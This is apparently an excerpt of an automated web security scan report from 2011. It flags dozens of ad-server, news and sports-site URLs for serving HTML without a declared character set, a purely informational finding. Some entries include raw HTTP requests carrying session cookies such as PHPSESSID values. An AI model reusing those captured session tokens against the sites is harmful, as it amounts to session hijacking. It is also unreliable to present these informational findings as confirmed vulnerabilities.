http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front
http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber
http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front
http://ad.doubleclick.net/adi/interactive.wsj.com/default
http://ad.doubleclick.net/adi/interactive.wsj.com/forgotpassword
http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub
http://ad.doubleclick.net/adi/interactive.wsj.com/houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/news_front
http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory
http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel
http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot
http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop
http://ad.doubleclick.net/adi/interactive.wsj.com/topics
http://ad.doubleclick.net/adi/interactive.wsj.com/us_houseoftheday
http://ad.doubleclick.net/adi/interactive.wsj.com/weekend
http://ad.doubleclick.net/adi/marketwatch.com/brand_channel
http://ad.doubleclick.net/adi/marketwatch.com/frontpage
http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe
http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front
http://ad.doubleclick.net/adi/smartmoney.com/tool_module
http://allthingsd.com/display_cookie_notice/
http://amch.questionmarket.com/adscgen/st.php
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://fanpeeps.com/
http://fanpeeps.com/PURPBG1.png
http://fanpeeps.com/SCALE20.gif
http://fanpeeps.com/bg2.jpg
http://fanpeeps.com/function.fopen
http://fanpeeps.com/greybox/AJS.js
http://fanpeeps.com/greybox/gb_scripts.js
http://fanpeeps.com/greybox/gb_styles.css
http://fanpeeps.com/media/
http://fanpeeps.com/media/blueactive2.gif
http://fanpeeps.com/mlb
http://fanpeeps.com/nba
http://fanpeeps.com/ncaa
http://fanpeeps.com/ncaa2.php
http://fanpeeps.com/nfl
http://fanpeeps.com/thumbnailviewer.css
http://fanpeeps.com/thumbnailviewer.js
http://fanpeeps.com/twitterlib.js
http://fanpeeps.com/worldcup
http://fls.doubleclick.net/activityi
http://mediacdn.disqus.com/1305332303/build/system/def.html
http://mediacdn.disqus.com/1305332303/build/system/reply.html
http://mediacdn.disqus.com/1305332303/build/system/upload.html
http://odb.outbrain.com/utils/ping.html
http://online.barrons.com//static_html_files/addineyeV2.html
http://online.wsj.com/doubleclick/DARTIframe.html
http://online.wsj.com/internal/ModTwitWSJPersonalFin.htm
http://online.wsj.com/internal/ModTwitWSJRealEstate.htm
http://online.wsj.com/static_html_files/MSNSponsoredLinks.html
http://online.wsj.com/static_html_files/WSJThirdParty_Footer_Nav.html
http://online.wsj.com/static_html_files/WSJThirdParty_Header_Nav_Commerce.html
https://order.wsj.com/favicon.ico
http://ping.chartbeat.net/ping
http://promos.mcafee.com/favicon.ico
http://server.iad.liveperson.net/hcp/integration/hackersafe/hackersafe-grey.html
http://static.2mdn.net/default.htm
http://topics.wsj.com/api-video/get_video_info.asp
http://use.typekit.com/k/uhh2the-e.css
http://www.cerebel.com/
http://www.cerebel.com/contact.php
http://www.cerebel.com/greenlinks.ico
http://www.cerebel.com/greybox/loader_frame.html
http://www.fanpeeps.com/
http://www.fanpeeps.com/bg2.jpg
http://www.fanpeeps.com/media/blueactive2.gif
http://www.marketwatch.com/cdn_content/business/re.html
http://www.marketwatch.com/doubleclick/DARTIframe.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

28.1. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone

Request

Response

28.2. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone_free

Request

Response

28.3. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Request

Response

28.4. http://ad.doubleclick.net/adi/barrons.com/daily_barronstake previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/daily_barronstake

Request

Response

28.5. http://ad.doubleclick.net/adi/barrons.com/mag_streetwise previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/mag_streetwise

Request

Response

28.6. http://ad.doubleclick.net/adi/barrons.com/public_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Request

Response

28.7. http://ad.doubleclick.net/adi/barrons.com/public_other previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_other

Request

Response

28.8. http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/sponsor_pickspans

Request

Response

28.9. http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbutton.smartmoney.com/partner_center

Request

Response

28.10. http://ad.doubleclick.net/adi/brokerbuttons.barrons.com/barrons_subfront previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.barrons.com/barrons_subfront

Request

GET /adi/brokerbuttons.barrons.com/barrons_subfront;!category=;;mc=0;pos=1;tile=5;sz=170x67;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:12:58 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 888

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a
...[SNIP]...

28.11. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/frontpage

Request

Response

28.12. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/markets_futuremovers

Request

Response

28.13. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe

Request

Response

28.14. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/personalfinance_story

Request

Response

28.15. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/rej_front

Request

Response

28.16. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/us_subscriber previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/us_subscriber

Request

Response

28.17. http://ad.doubleclick.net/adi/interactive.wsj.com/asia_houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/asia_houseoftheday

Request

Response

28.18. http://ad.doubleclick.net/adi/interactive.wsj.com/business_econ_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/business_econ_front

Request

Response

28.19. http://ad.doubleclick.net/adi/interactive.wsj.com/default previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/default

Request

Response

28.20. http://ad.doubleclick.net/adi/interactive.wsj.com/forgotpassword previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/forgotpassword

Request

Response

28.21. http://ad.doubleclick.net/adi/interactive.wsj.com/front_nonsub previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/front_nonsub

Request

Response

28.22. http://ad.doubleclick.net/adi/interactive.wsj.com/houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/houseoftheday

Request

Response

28.23. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Request

Response

28.24. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Request

Response

28.25. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Request

Response

28.26. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Request

Response

28.27. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front

Request

Response

28.28. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tilebot previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tilebot

Request

Response

28.29. http://ad.doubleclick.net/adi/interactive.wsj.com/rej_front_tiletop previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/rej_front_tiletop

Request

Response

28.30. http://ad.doubleclick.net/adi/interactive.wsj.com/topics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/topics

Request

Response

28.31. http://ad.doubleclick.net/adi/interactive.wsj.com/us_houseoftheday previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/us_houseoftheday

Request

Response

28.32. http://ad.doubleclick.net/adi/interactive.wsj.com/weekend previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/weekend

Request

Response

28.33. http://ad.doubleclick.net/adi/marketwatch.com/brand_channel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/brand_channel

Request

Response

28.34. http://ad.doubleclick.net/adi/marketwatch.com/frontpage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/frontpage

Request

Response

28.35. http://ad.doubleclick.net/adi/marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/marketwatch.com/mutualfunds_jaffe

Request

Response

28.36. http://ad.doubleclick.net/adi/smartmoney.com/Homepage_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/Homepage_Main_Front

Request

Response

28.37. http://ad.doubleclick.net/adi/smartmoney.com/SmartMoney_Main_Front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/SmartMoney_Main_Front

Request

Response

28.38. http://ad.doubleclick.net/adi/smartmoney.com/tool_module previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/smartmoney.com/tool_module

Request

Response

28.39. http://allthingsd.com/display_cookie_notice/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://allthingsd.com
Path:	/display_cookie_notice/

Request

GET /display_cookie_notice/ HTTP/1.1
Host: allthingsd.com
Proxy-Connection: keep-alive
Referer: http://allthingsd.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/plain, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __switchTo5x=48; __unam=c2a74e1-12fedfea5dc-285fdd11-1; s_cc=true; s_sq=%5B%5BB%5D%5D; __utmz=1.1305367991.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1428735391.1305367991.1305367991.1305367991.1; __utmc=1; __utmb=1.1.10.1305367991; atd_cookie_notice=1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2011 10:18:21 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Vary: Cookie
Last-Modified: Sat, 14 May 2011 10:18:21 +0000
Cache-Control: max-age=300, must-revalidate
X-nananana: Batcache
Content-Length: 3715

<div class="padded">
               <a href="#" onclick="atdCookieHide(); return false;" class="dismiss"><span>Dismiss</span></a>

               <span class="alignright first_time">This notice is intended to appear on
...[SNIP]...

28.40. http://amch.questionmarket.com/adscgen/st.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Request

GET /adscgen/st.php?survey_num=845473&site=57494335&code=40348193&randnum=3117353 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/smartmoney.com/Invest_Strategies_Article;!category=;page=topad;;mc=0;tile=3;sz=300x250,336x280,300x600,336x850;ord=3626362636263626;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:53 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a208.dl
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Content-Length: 165
Content-Type: text/html

(function(){
if(1!=4){
(new Image).src="http://amch.questionmarket.com/adsc/d845473/10/40348193/decide.php?ord="+Math.floor((new Date()).getTime()/1000);

}
})();

28.41. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 2269

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

28.42. http://fanpeeps.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Request

Response

28.43. http://fanpeeps.com/PURPBG1.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/PURPBG1.png

Request

Response

28.44. http://fanpeeps.com/SCALE20.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/SCALE20.gif

Request

Response

28.45. http://fanpeeps.com/bg2.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/bg2.jpg

Request

Response

28.46. http://fanpeeps.com/function.fopen previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/function.fopen

Request

GET /function.fopen HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

28.47. http://fanpeeps.com/greybox/AJS.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/AJS.js

Request

GET /greybox/AJS.js HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

28.48. http://fanpeeps.com/greybox/gb_scripts.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_scripts.js

Request

Response

28.49. http://fanpeeps.com/greybox/gb_styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/greybox/gb_styles.css

Request

Response

28.50. http://fanpeeps.com/media/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Request

Response

28.51. http://fanpeeps.com/media/blueactive2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/blueactive2.gif

Request

Response

28.52. http://fanpeeps.com/mlb previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/mlb

Request

Response

28.53. http://fanpeeps.com/nba previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/nba

Request

Response

28.54. http://fanpeeps.com/ncaa previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa

Request

Response

28.55. http://fanpeeps.com/ncaa2.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/ncaa2.php

Request

Response

28.56. http://fanpeeps.com/nfl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/nfl

Request

Response

28.57. http://fanpeeps.com/thumbnailviewer.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.css

Request

Response

28.58. http://fanpeeps.com/thumbnailviewer.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/thumbnailviewer.js

Request

Response

28.59. http://fanpeeps.com/twitterlib.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/twitterlib.js

Request

Response

28.60. http://fanpeeps.com/worldcup previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/worldcup

Request

Response

28.61. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Request

Response

28.62. http://mediacdn.disqus.com/1305332303/build/system/def.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/def.html

Request

GET /1305332303/build/system/def.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Sat, 14 May 2011 00:42:34 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
X-Varnish: 3082607645
Cache-Control: max-age=2557171
Expires: Mon, 13 Jun 2011 00:44:18 GMT
Date: Sat, 14 May 2011 10:24:47 GMT
Connection: close
Content-Length: 26608

<!DOCTYPE html>

<html>
<script>
document.domain = 'disqus.com';

var urls = {
sigma: "http://sigma.disqus.com/sigma.html",
xdm: "http://mediacdn.disqus.com/1305332303/html/xdm
...[SNIP]...

28.63. http://mediacdn.disqus.com/1305332303/build/system/reply.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/reply.html

Request

GET /1305332303/build/system/reply.html HTTP/1.1
Host: mediacdn.disqus.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessionid=6e6e8ad49aa0d7774c4482858306d0b8

Response

HTTP/1.1 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Sat, 14 May 2011 00:42:27 GMT
P3P: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Content-Type: text/html
Vary: Accept-Encoding
X-Varnish: 2849045534
Cache-Control: max-age=2557240
Expires: Mon, 13 Jun 2011 00:45:14 GMT
Date: Sat, 14 May 2011 10:24:34 GMT
Connection: close
Content-Length: 34769

<!DOCTYPE html>

<html>
<head>
<meta charset="utf-8">
<title></title>
<script>document.domain = 'disqus.com';</script>

<style type="text/css">

...[SNIP]...

28.64. http://mediacdn.disqus.com/1305332303/build/system/upload.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/upload.html

Request

Response

28.65. http://odb.outbrain.com/utils/ping.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://odb.outbrain.com
Path:	/utils/ping.html

Request

Response

28.66. http://online.barrons.com//static_html_files/addineyeV2.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	//static_html_files/addineyeV2.html

Request

GET //static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24'; HTTP/1.1
Host: online.barrons.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/barrons.com/daily_barronstake;!category=;page=rightrail;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=9;sz=300x250,336x280,300x600,336x850;ord=2826282628262826;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=73c63f57-3fae-4236-b6d8-6320cd939c4f; DJSESSION=BIZO%3Dbiz%3D1053%3B; __g_u=313457198040070_1_1_0_5_1305800175761; __g_c=w%3A1%7Cb%3A2%7Cc%3A313457198040070%7Cd%3A1%7Ca%3A1%7Ce%3A1%7Cf%3A0%7Cr%3A; s_cc=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; Barrons_Community=

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:33:45 GMT
Server: Apache
X-DEBUG-BOX-IDENT: sbkj2kiwebp01
X-DEBUG-MODULE-VERSION: DJCS mod_mon 0.7.0.9.4a
